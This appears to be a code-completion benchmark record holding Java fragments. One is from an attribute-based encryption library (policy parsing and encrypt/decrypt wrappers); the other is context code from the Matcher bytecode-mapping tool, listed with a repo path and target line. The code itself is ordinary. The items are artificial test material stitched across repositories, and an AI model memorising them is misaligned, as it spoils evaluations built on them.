retVal.append(postFix_m(child));\n }\n\n if (current instanceof ASTExpression) {\n handleExpression((ASTExpression) current, retVal);\n } else if (current instanceof ASTOf) {\n handleOf((ASTOf) current, retVal);\n } else if (current instanceof ASTAttribute) {\n handleAttribute((ASTAttribute) current, retVal);\n } else if (current instanceof ASTNumericalAttribute) {\n handleNumericalAttribute((ASTNumericalAttribute) current, retVal);\n } else if (current instanceof ASTAreaAttribute) {\n handleAreaAttribute((ASTAreaAttribute) current, retVal);\n } else if (!(current instanceof ASTStart)) {\n throw new ParseException(\"Unknown node found in tree.\");\n }\n\n return retVal.append(' ');\n }\n\n private static void handleAreaAttribute(ASTAreaAttribute current, StringBuffer retVal) throws ParseException {\n String attributeName = current.getName();\n double minLat = Math.min(current.getLatitude1(), current.getLatitude2());\n double maxLat = Math.max(current.getLatitude1(), current.getLatitude2());\n double minLng = Math.min(current.getLongitude1(), current.getLongitude2());\n double maxLng = Math.max(current.getLongitude1(), current.getLongitude2());\n\n BigInteger minLngConverted = Util.convertLongitudeToLong(minLng);\n BigInteger maxLngConverted = Util.convertLongitudeToLong(maxLng);\n BigInteger minLatConverted = Util.convertLatitudeToLong(minLat);\n BigInteger maxLatConverted = Util.convertLatitudeToLong(maxLat);\n\n handleNumericalAttribute(attributeName + \"_lng\", IS_GREATER, minLngConverted.subtract(BigInteger.ONE), retVal);\n retVal.append(' ');\n handleNumericalAttribute(attributeName + \"_lng\", IS_SMALLER, maxLngConverted.add(BigInteger.ONE), retVal);\n retVal.append(' ');\n handleNumericalAttribute(attributeName + \"_lat\", IS_GREATER, minLatConverted.subtract(BigInteger.ONE), retVal);\n retVal.append(' ');\n handleNumericalAttribute(attributeName + \"_lat\", IS_SMALLER, maxLatConverted.add(BigInteger.ONE), retVal);\n retVal.append(' ');\n retVal.append(\"4of4\");\n\n // a location is always <name>_lng = number and <name>_lat = number\n // resulting policy shoud be: <name>_lng >= minLng && <name>_lng <= maxLng && <name>_lat >= minLat && <name>_lat <= maxLat\n }\n\n private static void handleAttribute(ASTAttribute current, StringBuffer retVal) throws ParseException {\n retVal.append(current.getName());\n }\n\n private static void handleNumericalAttribute(ASTNumericalAttribute current, StringBuffer retVal) throws ParseException {\n BigInteger bigValue = current.getValue();\n if (current.getOp().equals(\"=\")) {\n retVal.append(String.format(\"%s_%s_%s\", current.getName(), Util.FLEXINT_TYPE, bigValue.toString()));\n } else if (current.getOp().equals(\"<\")) {\n handleNumericalAttribute(current.getName(), IS_SMALLER, bigValue, retVal);\n } else if (current.getOp().equals(\">\")) {\n handleNumericalAttribute(current.getName(), IS_GREATER, bigValue, retVal);\n } else if (current.getOp().equals(\"<=\")) {\n handleNumericalAttribute(current.getName(), IS_SMALLER, bigValue.add(BigInteger.ONE), retVal);\n } else if (current.getOp().equals(\">=\")) {\n handleNumericalAttribute(current.getName(), IS_GREATER, bigValue.subtract(BigInteger.ONE), retVal);\n } else {\n throw new ParseException(\"Unknown comparison operator found.\");\n }\n }\n\n private static void handleNumericalAttribute(String name, boolean greaterThan, BigInteger number, StringBuffer retVal) throws ParseException {\n if (number.compareTo(Util.MIN_FLEXINT_VALUE) < 0 || number.compareTo(Util.MAX_FLEXINT_VALUE) >= 0) {\n throw new ParseException(\"Only non-negative numbers until 2^64 - 1 are supported. Current number: \" + number);\n }\n\n long numberLong = number.longValue();\n\n // bit_marker_list()\n int bits = (number.compareTo(BI_2_32) >= 0 ? 64 :\n number.compareTo(BI_2_16) >= 0 ? 32 :\n number.compareTo(BI_2_08) >= 0 ? 16 :\n number.compareTo(BI_2_04) >= 0 ? 8 :\n number.compareTo(BI_2_02) >= 0 ? 4 : 2);\n int i = 0;\n if (greaterThan) {\n while ((1L << i & numberLong) != 0) i++;\n } else {\n while ((1L << i & numberLong) == 0) i++;\n }\n retVal.append(Util.bit_marker_flexint(name, i, greaterThan));\n retVal.append(' ');\n for (i = i + 1; i < bits; i++) {\n int minSatisfy;\n if (greaterThan) {\n minSatisfy = (1L << i & numberLong) != 0 ? 2 : 1;\n } else {\n minSatisfy = (1L << i & numberLong) != 0 ? 1 : 2;\n }\n retVal.append(Util.bit_marker_flexint(name, i, greaterThan));\n retVal.append(' ');\n retVal.append(minSatisfy).append(\"of2 \");\n }\n\n // flexint_leader\n int numChildren = 0;\n for (int k = 2; k <= Util.FLEXINT_MAXBITS/2; k *= 2) {\n BigInteger bi_2_k = BigInteger.ONE.shiftLeft(k);\n if (greaterThan && bi_2_k.compareTo(number) > 0) {\n retVal.append(String.format(\"%s_ge_2^%02d \", name, k));\n numChildren++;\n } else if (!greaterThan && bi_2_k.compareTo(number) >= 0) {\n retVal.append(String.format(\"%s_lt_2^%02d \", name, k));\n numChildren++;\n }\n }\n\n int minSatisfyLeader = greaterThan ? 1 : numChildren;\n if (numChildren != 0) {\n // also part of flexint_leader\n if (!(minSatisfyLeader == 1 && numChildren == 1))\n retVal.append(minSatisfyLeader).append(\"of\").append(numChildren).append(' ');\n\n // p = kof2_policy(gt ? 1 : 2, l, p);\n retVal.append(greaterThan ? 1 : 2).append(\"of2 \");\n }\n\n // delete trailing space\n retVal.deleteCharAt(retVal.length() - 1);\n }\n\n private static void handleOf(ASTOf current, StringBuffer retVal) {\n int numChildren = current.jjtGetNumChildren();\n int minSatisfy = current.getNumber();\n retVal.append(minSatisfy).append(\"of\").append(numChildren);\n }\n\n private static void handleExpression(ASTExpression current, StringBuffer retVal) {\n int numChildren = current.jjtGetNumChildren();\n int minSatisfy = current.getType().equalsIgnoreCase(\"and\") ? numChildren : 1;\n retVal.append(minSatisfy).append(\"of\").append(numChildren);\n }\n}" ]
import cpabe.bsw07.Bsw07; import cpabe.bsw07.Bsw07Cipher; import cpabe.bsw07.Bsw07CipherAndKey; import cpabe.policy.AttributeParser; import cpabe.policy.PolicyParsing; import cpabe.policyparser.ParseException; import it.unisa.dia.gas.jpbc.Element; import it.unisa.dia.gas.plaf.jpbc.pairing.PairingFactory; import java.io.*; import java.security.SecureRandom;
package cpabe; public class CpabeWeber { static { try { System.loadLibrary("jpbc-pbc"); } catch (UnsatisfiedLinkError e) { // cant fix this error, jcpabe still runs (slowly) } PairingFactory.getInstance().setUsePBCWhenPossible(true); } public static AbeSecretMasterKey setup() { return Bsw07.setup(); } public static void setup(File publicMasterFile, File secretMasterFile) throws IOException { AbeSecretMasterKey masterKey = setup(); masterKey.writeToFile(secretMasterFile); masterKey.getPublicKey().writeToFile(publicMasterFile); } public static AbePrivateKey keygen(AbeSecretMasterKey secretMaster, String attributes) throws ParseException { String parsedAttributes = AttributeParser.parseAttributes(attributes); String[] splitAttributes = parsedAttributes.split(" "); return Bsw07.keygen(secretMaster, splitAttributes); } public static void keygen(File privateFile, File secretMasterFile, String attributes) throws IOException, ParseException { AbeSecretMasterKey secretKey = AbeSecretMasterKey.readFromFile(secretMasterFile); AbePrivateKey prv = keygen(secretKey, attributes); prv.writeToFile(privateFile); } public static AbePrivateKey delegate(AbePrivateKey oldPrivateKey, String attributeSubset) throws ParseException { String parsedAttributeSubset = AttributeParser.parseAttributes(attributeSubset); String[] splitAttributeSubset = parsedAttributeSubset.split(" "); return Bsw07.delegate(oldPrivateKey, splitAttributeSubset); } public static void delegate(File oldPrivateKeyFile, String attributeSubset, File newPrivateKeyFile) throws IOException, ParseException { AbePrivateKey oldPrivateKey = AbePrivateKey.readFromFile(oldPrivateKeyFile); AbePrivateKey newPrivateKey = delegate(oldPrivateKey, attributeSubset); newPrivateKey.writeToFile(newPrivateKeyFile); } public static void decrypt(AbePrivateKey privateKey, InputStream input, OutputStream output, byte[] lbeKey) throws IOException, AbeDecryptionException { AbeEncrypted encrypted = AbeEncrypted.readFromStream(privateKey.getPublicKey(), input); encrypted.writeDecryptedData(privateKey, lbeKey, output); } public static byte[] decrypt(AbePrivateKey privateKey, AbeEncrypted encryptedData, byte[] lbeKey) throws AbeDecryptionException, IOException { ByteArrayOutputStream out = new ByteArrayOutputStream(); encryptedData.writeDecryptedData(privateKey, lbeKey, out); return out.toByteArray(); } public static void decrypt(File privateKeyFile, File encryptedFile, File decryptedFile, byte[] lbeKey) throws IOException, AbeDecryptionException { AbePrivateKey privateKey = AbePrivateKey.readFromFile(privateKeyFile); BufferedInputStream in = null; BufferedOutputStream out = null; try { in = new BufferedInputStream(new FileInputStream(encryptedFile)); out = new BufferedOutputStream(new FileOutputStream(decryptedFile)); decrypt(privateKey, in, out, lbeKey); } finally { if (out != null) out.close(); if (in != null) in.close(); } } public static void encrypt(AbePublicKey publicKey, String policy, InputStream input, OutputStream output, byte[] lbeKey) throws AbeEncryptionException, IOException { AbeEncrypted encrypted = encrypt(publicKey, policy, input, lbeKey); encrypted.writeEncryptedData(output, publicKey); } public static AbeEncrypted encrypt(AbePublicKey publicKey, String policy, InputStream input, byte[] lbeKey) throws AbeEncryptionException, IOException { try {
String parsedPolicy = PolicyParsing.parsePolicy(policy);
4
sfPlayer1/Matcher
src/matcher/gui/tab/BytecodeTab.java
[ "public enum NameType {\n\tPLAIN(true, false, false, 0),\n\tMAPPED(false, true, false, 0),\n\tAUX(false, false, false, 1),\n\tAUX2(false, false, false, 2),\n\n\tMAPPED_PLAIN(true, true, false, 0),\n\tMAPPED_AUX_PLAIN(true, true, false, 1),\n\tMAPPED_AUX2_PLAIN(true, true, false, 2),\n\tMAPPED_TMP_PLAIN(true, true, true, 0),\n\tMAPPED_LOCTMP_PLAIN(true, true, false, 0),\n\n\tUID_PLAIN(true, false, false, 0),\n\tTMP_PLAIN(true, false, true, 0),\n\tLOCTMP_PLAIN(true, false, false, 0),\n\tAUX_PLAIN(true, false, false, 1),\n\tAUX2_PLAIN(true, false, false, 2);\n\n\tNameType(boolean plain, boolean mapped, boolean tmp, int aux) {\n\t\tthis.plain = plain;\n\t\tthis.mapped = mapped;\n\t\tthis.tmp = tmp;\n\t\tthis.aux = aux;\n\t}\n\n\tpublic NameType withPlain(boolean value) {\n\t\tif (plain == value) return this;\n\n\t\tif (value) {\n\t\t\tif (mapped) return MAPPED_PLAIN;\n\n\t\t\treturn VALUES[AUX_PLAIN.ordinal() + aux - 1];\n\t\t} else if (this == MAPPED_PLAIN) {\n\t\t\treturn MAPPED;\n\t\t} else if (aux > 0 && !mapped && !tmp) {\n\t\t\treturn VALUES[AUX.ordinal() + aux - 1];\n\t\t} else {\n\t\t\tthrow new UnsupportedOperationException();\n\t\t}\n\t}\n\n\tpublic NameType withMapped(boolean value) {\n\t\tif (mapped == value) return this;\n\n\t\tif (value) {\n\t\t\tif (aux > 0) return VALUES[MAPPED_AUX_PLAIN.ordinal() + aux - 1];\n\t\t\tif (tmp) return MAPPED_TMP_PLAIN;\n\t\t\tif (plain) return MAPPED_PLAIN;\n\n\t\t\treturn MAPPED;\n\t\t} else {\n\t\t\tif (aux > 0) return VALUES[(plain ? AUX_PLAIN : AUX).ordinal() + aux - 1];\n\t\t\tif (tmp) return TMP_PLAIN;\n\t\t\tif (this == MAPPED_LOCTMP_PLAIN) return LOCTMP_PLAIN;\n\n\t\t\treturn PLAIN;\n\t\t}\n\t}\n\n\tpublic NameType withAux(int index, boolean value) {\n\t\tif ((aux - 1 == index) == value) return this;\n\n\t\tif (value) {\n\t\t\tif (mapped) return VALUES[MAPPED_AUX_PLAIN.ordinal() + index];\n\t\t\tif (plain) return VALUES[AUX_PLAIN.ordinal() + index];\n\n\t\t\treturn VALUES[AUX.ordinal() + index];\n\t\t} else {\n\t\t\tif (mapped) return MAPPED_PLAIN;\n\n\t\t\treturn PLAIN;\n\t\t}\n\t}\n\n\tpublic NameType withTmp(boolean value) {\n\t\tif (tmp == value) return this;\n\n\t\tif (value) {\n\t\t\tif (mapped) return MAPPED_TMP_PLAIN;\n\n\t\t\treturn TMP_PLAIN;\n\t\t} else {\n\t\t\tif (mapped) return MAPPED_PLAIN;\n\n\t\t\treturn PLAIN;\n\t\t}\n\t}\n\n\t// transform between tmp <-> loctmp\n\tpublic NameType withUnmatchedTmp(boolean value) {\n\t\tboolean locTmp = this == MAPPED_LOCTMP_PLAIN || this == LOCTMP_PLAIN;\n\n\t\tif (value == locTmp || !tmp && !locTmp) return this;\n\n\t\tif (value) {\n\t\t\tif (mapped) return MAPPED_LOCTMP_PLAIN;\n\n\t\t\treturn LOCTMP_PLAIN;\n\t\t} else {\n\t\t\tif (mapped) return MAPPED_TMP_PLAIN;\n\n\t\t\treturn TMP_PLAIN;\n\t\t}\n\t}\n\n\tpublic boolean isAux() {\n\t\treturn aux > 0;\n\t}\n\n\tpublic int getAuxIndex() {\n\t\tif (aux == 0) throw new NoSuchElementException();\n\n\t\treturn aux - 1;\n\t}\n\n\tpublic static NameType getAux(int index) {\n\t\tObjects.checkIndex(index, AUX_COUNT);\n\n\t\treturn VALUES[NameType.AUX.ordinal() + index];\n\t}\n\n\tpublic static final int AUX_COUNT = 2;\n\n\tprivate static final NameType[] VALUES = values();\n\n\tpublic final boolean plain;\n\tpublic final boolean mapped;\n\tpublic final boolean tmp;\n\tprivate final int aux;\n}", "public class Gui extends Application {\n\t@Override\n\tpublic void start(Stage stage) {\n\t\tMatcher.init();\n\n\t\tenv = new ClassEnvironment();\n\t\tmatcher = new Matcher(env);\n\n\t\tGridPane border = new GridPane();\n\n\t\tColumnConstraints colConstraint = new ColumnConstraints();\n\t\tcolConstraint.setPercentWidth(50);\n\t\tborder.getColumnConstraints().addAll(colConstraint, colConstraint);\n\n\t\tRowConstraints defaultRowConstraints = new RowConstraints();\n\t\tRowConstraints contentRowConstraints = new RowConstraints();\n\t\tcontentRowConstraints.setVgrow(Priority.ALWAYS);\n\t\tborder.getRowConstraints().addAll(defaultRowConstraints, contentRowConstraints, defaultRowConstraints);\n\n\t\tmenu = new MainMenuBar(this);\n\t\tcomponents.add(menu);\n\t\tborder.add(menu, 0, 0, 2, 1);\n\n\t\tsrcPane = new MatchPaneSrc(this);\n\t\tcomponents.add(srcPane);\n\t\tborder.add(srcPane, 0, 1);\n\n\t\tdstPane = new MatchPaneDst(this, srcPane);\n\t\tcomponents.add(dstPane);\n\t\tborder.add(dstPane, 1, 1);\n\n\t\tbottomPane = new BottomPane(this, srcPane, dstPane);\n\t\tcomponents.add(bottomPane);\n\t\tborder.add(bottomPane, 0, 2, 2, 1);\n\n\t\tscene = new Scene(border, 1400, 800);\n\t\tShortcuts.init(this);\n\n\t\tfor (Consumer<Gui> l : loadListeners) {\n\t\t\tl.accept(this);\n\t\t}\n\n\t\tstage.setScene(scene);\n\t\tstage.setTitle(\"Matcher\");\n\t\tstage.show();\n\t}\n\n\t@Override\n\tpublic void stop() throws Exception {\n\t\tthreadPool.shutdown();\n\t}\n\n\tpublic ClassEnvironment getEnv() {\n\t\treturn env;\n\t}\n\n\tpublic Matcher getMatcher() {\n\t\treturn matcher;\n\t}\n\n\tpublic Scene getScene() {\n\t\treturn scene;\n\t}\n\n\tpublic void addListeningComponent(IGuiComponent component) {\n\t\tcomponents.add(component);\n\t}\n\n\tpublic MainMenuBar getMenu() {\n\t\treturn menu;\n\t}\n\n\tpublic MatchPaneSrc getSrcPane() {\n\t\treturn srcPane;\n\t}\n\n\tpublic MatchPaneDst getDstPane() {\n\t\treturn dstPane;\n\t}\n\n\tpublic BottomPane getBottomPane() {\n\t\treturn bottomPane;\n\t}\n\n\tpublic SortKey getSortKey() {\n\t\treturn sortKey;\n\t}\n\n\tpublic void setSortKey(SortKey sortKey) {\n\t\tif (sortKey == null) throw new NullPointerException(\"null sort key\");\n\t\tif (this.sortKey == sortKey) return;\n\n\t\tthis.sortKey = sortKey;\n\n\t\tfor (IGuiComponent c : components) {\n\t\t\tc.onViewChange();\n\t\t}\n\t}\n\n\tpublic boolean isSortMatchesAlphabetically() {\n\t\treturn sortMatchesAlphabetically;\n\t}\n\n\tpublic void setSortMatchesAlphabetically(boolean value) {\n\t\tif (this.sortMatchesAlphabetically == value) return;\n\n\t\tthis.sortMatchesAlphabetically = value;\n\n\t\tfor (IGuiComponent c : components) {\n\t\t\tc.onViewChange();\n\t\t}\n\t}\n\n\tpublic boolean isUseClassTreeView() {\n\t\treturn useClassTreeView;\n\t}\n\n\tpublic void setUseClassTreeView(boolean value) {\n\t\tif (this.useClassTreeView == value) return;\n\n\t\tthis.useClassTreeView = value;\n\n\t\tfor (IGuiComponent c : components) {\n\t\t\tc.onViewChange();\n\t\t}\n\t}\n\n\tpublic boolean isShowNonInputs() {\n\t\treturn showNonInputs;\n\t}\n\n\tpublic void setShowNonInputs(boolean showNonInputs) {\n\t\tif (this.showNonInputs == showNonInputs) return;\n\n\t\tthis.showNonInputs = showNonInputs;\n\n\t\tfor (IGuiComponent c : components) {\n\t\t\tc.onViewChange();\n\t\t}\n\t}\n\n\tpublic boolean isUseDiffColors() {\n\t\treturn useDiffColors;\n\t}\n\n\tpublic void setUseDiffColors(boolean useDiffColors) {\n\t\tif (this.useDiffColors == useDiffColors) return;\n\n\t\tthis.useDiffColors = useDiffColors;\n\n\t\tfor (IGuiComponent c : components) {\n\t\t\tc.onViewChange();\n\t\t}\n\t}\n\n\tpublic NameType getNameType() {\n\t\treturn nameType;\n\t}\n\n\tpublic void setNameType(NameType value) {\n\t\tif (this.nameType == value) return;\n\n\t\tthis.nameType = value;\n\n\t\tfor (IGuiComponent c : components) {\n\t\t\tc.onViewChange();\n\t\t}\n\t}\n\n\n\tpublic BuiltinDecompiler getDecompiler() {\n\t\treturn decompiler;\n\t}\n\n\tpublic void setDecompiler(BuiltinDecompiler value) {\n\t\tif (this.decompiler == value) return;\n\n\t\tthis.decompiler = value;\n\n\t\tfor (IGuiComponent c : components) {\n\t\t\tc.onViewChange();\n\t\t}\n\t}\n\n\tpublic void onProjectChange() {\n\t\tfor (IGuiComponent c : components) {\n\t\t\tc.onProjectChange();\n\t\t}\n\t}\n\n\tpublic void onMappingChange() {\n\t\tfor (IGuiComponent c : components) {\n\t\t\tc.onMappingChange();\n\t\t}\n\t}\n\n\tpublic void onMatchChange(Set<MatchType> types) {\n\t\tfor (IGuiComponent c : components) {\n\t\t\tc.onMatchChange(types);\n\t\t}\n\t}\n\n\tpublic static <T> CompletableFuture<T> runAsyncTask(Callable<T> task) {\n\t\tTask<T> jfxTask = new Task<T>() {\n\t\t\t@Override\n\t\t\tprotected T call() throws Exception {\n\t\t\t\treturn task.call();\n\t\t\t}\n\t\t};\n\n\t\tCompletableFuture<T> ret = new CompletableFuture<T>();\n\n\t\tjfxTask.setOnSucceeded(event -> ret.complete(jfxTask.getValue()));\n\t\tjfxTask.setOnFailed(event -> ret.completeExceptionally(jfxTask.getException()));\n\t\tjfxTask.setOnCancelled(event -> ret.cancel(false));\n\n\t\tthreadPool.execute(jfxTask);\n\n\t\treturn ret;\n\t}\n\n\tpublic void runProgressTask(String labelText, Consumer<DoubleConsumer> task) {\n\t\trunProgressTask(labelText, task, null, null);\n\t}\n\n\tpublic void runProgressTask(String labelText, Consumer<DoubleConsumer> task, Runnable onSuccess, Consumer<Throwable> onError) {\n\t\tStage stage = new Stage(StageStyle.UTILITY);\n\t\tstage.initOwner(this.scene.getWindow());\n\t\tVBox pane = new VBox(GuiConstants.padding);\n\n\t\tstage.setScene(new Scene(pane));\n\t\tstage.initModality(Modality.APPLICATION_MODAL);\n\t\tstage.setOnCloseRequest(event -> event.consume());\n\t\tstage.setResizable(false);\n\t\tstage.setTitle(\"Operation progress\");\n\n\t\tpane.setPadding(new Insets(GuiConstants.padding));\n\n\t\tpane.getChildren().add(new Label(labelText));\n\n\t\tProgressBar progress = new ProgressBar(0);\n\t\tprogress.setPrefWidth(400);\n\t\tpane.getChildren().add(progress);\n\n\t\tstage.show();\n\n\t\tTask<Void> jfxTask = new Task<Void>() {\n\t\t\t@Override\n\t\t\tprotected Void call() throws Exception {\n\t\t\t\ttask.accept(cProgress -> Platform.runLater(() -> progress.setProgress(cProgress)));\n\n\t\t\t\treturn null;\n\t\t\t}\n\t\t};\n\n\t\tjfxTask.setOnSucceeded(event -> {\n\t\t\tstage.hide();\n\t\t\tif (onSuccess != null) onSuccess.run();\n\t\t});\n\n\t\tjfxTask.setOnFailed(event -> {\n\t\t\tstage.hide();\n\t\t\tif (onError != null) onError.accept(jfxTask.getException());\n\t\t});\n\n\t\tthreadPool.execute(jfxTask);\n\t}\n\n\tpublic void showAlert(AlertType type, String title, String headerText, String text) {\n\t\tAlert alert = new Alert(type, text);\n\n\t\talert.setTitle(title);\n\t\talert.setHeaderText(headerText);\n\n\t\tPlatform.runLater(() -> alert.getDialogPane().getScene().getWindow().sizeToScene()); // work around linux display bug (JDK-8193502)\n\n\t\talert.showAndWait();\n\t}\n\n\tpublic boolean requestConfirmation(String title, String headerText, String text) {\n\t\tAlert alert = new Alert(AlertType.CONFIRMATION, text);\n\n\t\talert.setTitle(title);\n\t\talert.setHeaderText(headerText);\n\n\t\tPlatform.runLater(() -> alert.getDialogPane().getScene().getWindow().sizeToScene()); // work around linux display bug (JDK-8193502)\n\n\t\treturn alert.showAndWait().orElse(ButtonType.CANCEL) == ButtonType.OK;\n\t}\n\n\tpublic static SelectedFile requestFile(String title, Window parent, List<ExtensionFilter> extensionFilters, boolean isOpen) {\n\t\tFileChooser fileChooser = setupFileChooser(title, extensionFilters);\n\n\t\tFile file = isOpen ? fileChooser.showOpenDialog(parent) : fileChooser.showSaveDialog(parent);\n\t\tif (file == null) return null;\n\n\t\tlastChooserFile = file.getParentFile();\n\n\t\treturn new SelectedFile(file.toPath(), fileChooser.getSelectedExtensionFilter());\n\t}\n\n\tpublic static List<SelectedFile> requestFiles(String title, Window parent, List<ExtensionFilter> extensionFilters) {\n\t\tFileChooser fileChooser = setupFileChooser(title, extensionFilters);\n\n\t\tList<File> file = fileChooser.showOpenMultipleDialog(parent);\n\t\tif (file == null || file.isEmpty()) return Collections.emptyList();\n\n\t\tlastChooserFile = file.get(0).getParentFile();\n\n\t\treturn file.stream().map(file1 -> new SelectedFile(file1.toPath(), fileChooser.getSelectedExtensionFilter())).collect(Collectors.toList());\n\t}\n\n\tprivate static FileChooser setupFileChooser(String title, List<ExtensionFilter> extensionFilters) {\n\t\tFileChooser fileChooser = new FileChooser();\n\n\t\tfileChooser.setTitle(title);\n\t\tfileChooser.getExtensionFilters().addAll(extensionFilters);\n\n\t\twhile (lastChooserFile != null && !lastChooserFile.isDirectory()) {\n\t\t\tlastChooserFile = lastChooserFile.getParentFile();\n\t\t}\n\n\t\tif (lastChooserFile != null)\n\t\t\tfileChooser.setInitialDirectory(lastChooserFile);\n\n\t\treturn fileChooser;\n\t}\n\n\tpublic static class SelectedFile {\n\t\tSelectedFile(Path path, ExtensionFilter filter) {\n\t\t\tthis.path = path;\n\t\t\tthis.filter = filter;\n\t\t}\n\n\t\tpublic final Path path;\n\t\tpublic final ExtensionFilter filter;\n\t}\n\n\tpublic static Path requestDir(String title, Window parent) {\n\t\tDirectoryChooser fileChooser = new DirectoryChooser();\n\n\t\tfileChooser.setTitle(title);\n\n\t\twhile (lastChooserFile != null && !lastChooserFile.isDirectory()) {\n\t\t\tlastChooserFile = lastChooserFile.getParentFile();\n\t\t}\n\n\t\tif (lastChooserFile != null) fileChooser.setInitialDirectory(lastChooserFile);\n\n\t\tFile file = fileChooser.showDialog(parent);\n\t\tif (file == null) return null;\n\n\t\tlastChooserFile = file;\n\n\t\treturn file.toPath();\n\t}\n\n\tpublic enum SortKey {\n\t\tName, MappedName, MatchStatus, Similarity;\n\t}\n\n\tpublic static final List<Consumer<Gui>> loadListeners = new ArrayList<>();\n\n\tprivate static final ExecutorService threadPool = Executors.newCachedThreadPool();\n\n\tprivate ClassEnvironment env;\n\tprivate Matcher matcher;\n\n\tprivate Scene scene;\n\tprivate final Collection<IGuiComponent> components = new ArrayList<>();\n\n\tprivate MainMenuBar menu;\n\tprivate MatchPaneSrc srcPane;\n\tprivate MatchPaneDst dstPane;\n\tprivate BottomPane bottomPane;\n\n\tprivate SortKey sortKey = SortKey.Name;\n\tprivate boolean sortMatchesAlphabetically;\n\tprivate boolean useClassTreeView;\n\tprivate boolean showNonInputs;\n\tprivate boolean useDiffColors;\n\n\tprivate NameType nameType = NameType.MAPPED_PLAIN;\n\tprivate BuiltinDecompiler decompiler = BuiltinDecompiler.CFR;\n\n\tprivate static File lastChooserFile;\n}", "public interface ISelectionProvider {\n\tClassInstance getSelectedClass();\n\tMemberInstance<?> getSelectedMember();\n\tMethodInstance getSelectedMethod();\n\tFieldInstance getSelectedField();\n\tMethodVarInstance getSelectedMethodVar();\n\n\tdefault RankResult<?> getSelectedRankResult(MatchType type) {\n\t\treturn null;\n\t}\n}", "public class HtmlUtil {\n\tpublic static String getId(MethodInstance method) {\n\t\treturn \"method-\".concat(escapeId(method.getId()));\n\t}\n\n\tpublic static String getId(FieldInstance field) {\n\t\treturn \"field-\".concat(escapeId(field.getId()));\n\t}\n\n\tprivate static String escapeId(String str) {\n\t\tStringBuilder ret = null;\n\t\tint retEnd = 0;\n\n\t\tfor (int i = 0, max = str.length(); i < max; i++) {\n\t\t\tchar c = str.charAt(i);\n\n\t\t\tif ((c < 'A' || c > 'Z') && (c < 'a' || c > 'z') && (c < '0' || c > '9') && c != '-' && c != '_' && c != '.') { // use : as an escape identifier\n\t\t\t\tif (ret == null) ret = new StringBuilder(max * 2);\n\n\t\t\t\tret.append(str, retEnd, i);\n\n\t\t\t\tret.append(':');\n\n\t\t\t\tfor (int j = 0; j < 4; j++) {\n\t\t\t\t\tint v = (c >>> ((3 - j) * 4)) & 0xf;\n\t\t\t\t\tret.append(\"0123456789abcdef\".charAt(v));\n\t\t\t\t}\n\n\t\t\t\tretEnd = i + 1;\n\t\t\t}\n\t\t}\n\n\t\tif (ret == null) {\n\t\t\treturn str;\n\t\t} else {\n\t\t\tret.append(str, retEnd, str.length());\n\n\t\t\treturn ret.toString();\n\t\t}\n\t}\n\n\tpublic static String escape(String str) {\n\t\tStringBuilder ret = null;\n\t\tint retEnd = 0;\n\n\t\tfor (int i = 0, max = str.length(); i < max; i++) {\n\t\t\tchar c = str.charAt(i);\n\n\t\t\tif (c == '<' || c == '>' || c == '&') {\n\t\t\t\tif (ret == null) ret = new StringBuilder(max * 2);\n\n\t\t\t\tret.append(str, retEnd, i);\n\n\t\t\t\tif (c == '<') {\n\t\t\t\t\tret.append(\"&lt;\");\n\t\t\t\t} else if (c == '>') {\n\t\t\t\t\tret.append(\"&gt;\");\n\t\t\t\t} else {\n\t\t\t\t\tret.append(\"&amp;\");\n\t\t\t\t}\n\n\t\t\t\tretEnd = i + 1;\n\t\t\t}\n\t\t}\n\n\t\tif (ret == null) {\n\t\t\treturn str;\n\t\t} else {\n\t\t\tret.append(str, retEnd, str.length());\n\n\t\t\treturn ret.toString();\n\t\t}\n\t}\n}", "public final class ClassInstance implements Matchable<ClassInstance> {\n\t/**\n\t * Create a shared unknown class.\n\t */\n\tClassInstance(String id, ClassEnv env) {\n\t\tthis(id, null, env, null, false, false, null);\n\n\t\tassert id.indexOf('[') == -1 : id;\n\t}\n\n\t/**\n\t * Create a known class (class path).\n\t */\n\tpublic ClassInstance(String id, URI origin, ClassEnv env, ClassNode asmNode) {\n\t\tthis(id, origin, env, asmNode, false, false, null);\n\n\t\tassert id.indexOf('[') == -1 : id;\n\t}\n\n\t/**\n\t * Create an array class.\n\t */\n\tClassInstance(String id, ClassInstance elementClass) {\n\t\tthis(id, null, elementClass.env, null, elementClass.nameObfuscated, false, elementClass);\n\n\t\tassert id.startsWith(\"[\") : id;\n\t\tassert id.indexOf('[', getArrayDimensions()) == -1 : id;\n\t\tassert !elementClass.isArray();\n\n\t\telementClass.addArray(this);\n\t}\n\n\t/**\n\t * Create a non-array class.\n\t */\n\tClassInstance(String id, URI origin, ClassEnv env, ClassNode asmNode, boolean nameObfuscated) {\n\t\tthis(id, origin, env, asmNode, nameObfuscated, true, null);\n\n\t\tassert id.startsWith(\"L\") : id;\n\t\tassert id.indexOf('[') == -1 : id;\n\t\tassert asmNode != null;\n\t}\n\n\tprivate ClassInstance(String id, URI origin, ClassEnv env, ClassNode asmNode, boolean nameObfuscated, boolean input, ClassInstance elementClass) {\n\t\tif (id.isEmpty()) throw new IllegalArgumentException(\"empty id\");\n\t\tif (env == null) throw new NullPointerException(\"null env\");\n\n\t\tthis.id = id;\n\t\tthis.origin = origin;\n\t\tthis.env = env;\n\t\tthis.asmNodes = asmNode == null ? null : new ClassNode[] { asmNode };\n\t\tthis.nameObfuscated = nameObfuscated;\n\t\tthis.input = input;\n\t\tthis.elementClass = elementClass;\n\n\t\tif (env.isShared()) matchedClass = this;\n\t}\n\n\t@Override\n\tpublic MatchableKind getKind() {\n\t\treturn MatchableKind.CLASS;\n\t}\n\n\t@Override\n\tpublic String getId() {\n\t\treturn id;\n\t}\n\n\t@Override\n\tpublic String getName() {\n\t\treturn getName(id);\n\t}\n\n\t@Override\n\tpublic String getName(NameType type) {\n\t\treturn getName(type, true);\n\t}\n\n\tpublic String getName(NameType type, boolean includeOuter) {\n\t\tif (type == NameType.PLAIN) {\n\t\t\treturn includeOuter ? getName() : getInnerName0(getName());\n\t\t} else if (elementClass != null) {\n\t\t\tboolean isPrimitive = elementClass.isPrimitive();\n\t\t\tStringBuilder ret = new StringBuilder();\n\n\t\t\tret.append(id, 0, getArrayDimensions());\n\n\t\t\tif (!isPrimitive) ret.append('L');\n\t\t\tret.append(elementClass.getName(type, includeOuter));\n\t\t\tif (!isPrimitive) ret.append(';');\n\n\t\t\treturn ret.toString();\n\t\t} else if (type == NameType.UID_PLAIN) {\n\t\t\tint uid = getUid();\n\t\t\tif (uid >= 0) return env.getGlobal().classUidPrefix+uid;\n\t\t}\n\n\t\tboolean locTmp = type == NameType.MAPPED_LOCTMP_PLAIN || type == 